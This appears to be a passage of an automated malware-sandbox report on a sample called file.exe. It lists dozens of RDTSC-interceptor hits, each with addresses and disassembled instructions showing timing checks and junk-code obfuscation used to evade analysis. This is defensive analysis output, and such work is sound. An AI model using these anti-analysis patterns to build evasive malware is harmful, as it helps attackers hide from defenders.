Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDCC6 second address: 9DDD31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F0C44D4E195h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F0C44D4E18Eh 0x00000019 pop eax 0x0000001a xor ecx, dword ptr [ebp+122D2C73h] 0x00000020 lea ebx, dword ptr [ebp+1243FAB0h] 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F0C44D4E196h 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F0C44D4E186h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDDC7 second address: 9DDDD1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44E7DD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDDD1 second address: 9DDDEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F0C44D4E186h 0x00000009 jo 00007F0C44D4E186h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F0C44D4E188h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDDEE second address: 9DDDF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDDF4 second address: 9DDE2E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0C44D4E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F0C44D4E198h 0x00000012 or dword ptr [ebp+122D1E3Fh], eax 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b stc 0x0000001c push E4A02FBFh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDE2E second address: 9DDE32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDE32 second address: 9DDE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDE38 second address: 9DDEAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 1B5FD0C1h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F0C44E7DD68h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F0C44E7DD68h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov dword ptr [ebp+122D249Ah], esi 0x0000004f push 00000003h 0x00000051 mov cx, ax 0x00000054 call 00007F0C44E7DD69h 0x00000059 jl 00007F0C44E7DD74h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDEAC second address: 9DDEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDEB0 second address: 9DDF07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F0C44E7DD97h 0x0000000d pushad 0x0000000e jmp 00007F0C44E7DD78h 0x00000013 jmp 00007F0C44E7DD77h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0C44E7DD72h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDF07 second address: 9DDF0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDF0B second address: 9DDF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F0C44E7DD6Eh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 js 00007F0C44E7DD6Eh 0x00000018 push edi 0x00000019 jc 00007F0C44E7DD66h 0x0000001f pop edi 0x00000020 pop eax 0x00000021 mov si, di 0x00000024 lea ebx, dword ptr [ebp+1243FAB9h] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F0C44E7DD68h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 push ebx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0B2A second address: 9F0B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0B45 second address: 9F0B52 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0B52 second address: 9F0B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F0C44D4E190h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1A74 second address: 9D1A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0C44E7DD66h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F0C44E7DD6Eh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1A92 second address: 9D1AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0C44D4E186h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F0C44D4E195h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1AB5 second address: 9D1AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1AC0 second address: 9D1AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1AC4 second address: 9D1AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1AC8 second address: 9D1AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0C44D4E186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C44D4E196h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD33E second address: 9FD352 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0C44E7DD6Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD76A second address: 9FD779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E18Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD779 second address: 9FD77E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD8EF second address: 9FD920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F0C44D4E18Dh 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0C44D4E199h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA6D second address: 9FDA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA75 second address: 9FDA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDD6D second address: 9FDD8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F0C44E7DD84h 0x0000000f pushad 0x00000010 ja 00007F0C44E7DD66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE046 second address: 9FE04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE04A second address: 9FE04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE04E second address: 9FE06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E195h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE1D2 second address: 9FE1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE1D8 second address: 9FE1E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE1E2 second address: 9FE1EC instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C44E7DD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE31C second address: 9FE353 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0C44D4E18Eh 0x00000008 jmp 00007F0C44D4E197h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 jl 00007F0C44D4E186h 0x00000019 pop edi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE353 second address: 9FE359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE4C2 second address: 9FE4F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E192h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F0C44D4E18Ch 0x0000000f jbe 00007F0C44D4E186h 0x00000015 jmp 00007F0C44D4E18Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE4F8 second address: 9FE4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5AA6 second address: 9F5AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F0C44D4E186h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5AB8 second address: 9F5ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5ABD second address: 9F5AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0C44D4E18Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB073 second address: 9CB08D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD6Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F0C44E7DD66h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB08D second address: 9CB091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE65F second address: 9FE689 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F0C44E7DD76h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FED87 second address: 9FED8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEEFE second address: 9FEF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0C44E7DD66h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF0F6 second address: 9FF0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01F6D second address: A01F9A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C44E7DD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0C44E7DD74h 0x0000000f push ecx 0x00000010 jmp 00007F0C44E7DD6Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A076F9 second address: A076FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0783D second address: A0785A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B21B second address: A0B237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F0C44D4E197h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B237 second address: A0B246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44E7DD6Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B246 second address: A0B295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jno 00007F0C44D4E186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F0C44D4E192h 0x00000012 ja 00007F0C44D4E186h 0x00000018 jc 00007F0C44D4E186h 0x0000001e pop edx 0x0000001f pop eax 0x00000020 pushad 0x00000021 jmp 00007F0C44D4E193h 0x00000026 jmp 00007F0C44D4E193h 0x0000002b jns 00007F0C44D4E18Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A7C3 second address: A0A7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A7C7 second address: A0A7CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A7CB second address: A0A7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0C44E7DD74h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A7E7 second address: A0A7EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AD99 second address: A0ADD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44E7DD73h 0x00000009 je 00007F0C44E7DD66h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push ebx 0x00000013 jmp 00007F0C44E7DD76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ADD2 second address: A0ADD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ADD7 second address: A0ADDC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B08F second address: A0B0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007F0C44D4E186h 0x0000000c jmp 00007F0C44D4E199h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DE1D second address: A0DE5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 4E468E62h 0x0000000e call 00007F0C44E7DD69h 0x00000013 jno 00007F0C44E7DD83h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DE5D second address: A0DE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E194h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DE76 second address: A0DE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DE7C second address: A0DEA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DEA4 second address: A0DEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DEA8 second address: A0DEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DEB6 second address: A0DEC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DEC0 second address: A0DEDD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C44D4E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F0C44D4E18Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E038 second address: A0E043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0C44E7DD66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E2FC second address: A0E300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E3FD second address: A0E40C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E40C second address: A0E41A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E18Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E41A second address: A0E429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44E7DD6Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E5A8 second address: A0E5AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EBD6 second address: A0EBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EBE4 second address: A0EBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ED69 second address: A0ED6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ED6D second address: A0ED7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E18Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EF51 second address: A0EF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44E7DD6Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F618 second address: A0F6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F0C44D4E188h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 xor dword ptr [ebp+122D1DF2h], ebx 0x00000026 mov edi, dword ptr [ebp+122D27D5h] 0x0000002c xor si, 2FAEh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F0C44D4E188h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d mov dword ptr [ebp+122D24CEh], edi 0x00000053 mov dword ptr [ebp+122D2808h], edx 0x00000059 push 00000000h 0x0000005b push eax 0x0000005c or di, 12B6h 0x00000061 pop esi 0x00000062 xchg eax, ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F0C44D4E199h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F6A7 second address: A0F6CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F0C44E7DD66h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F0C44E7DD75h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11C0E second address: A11C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
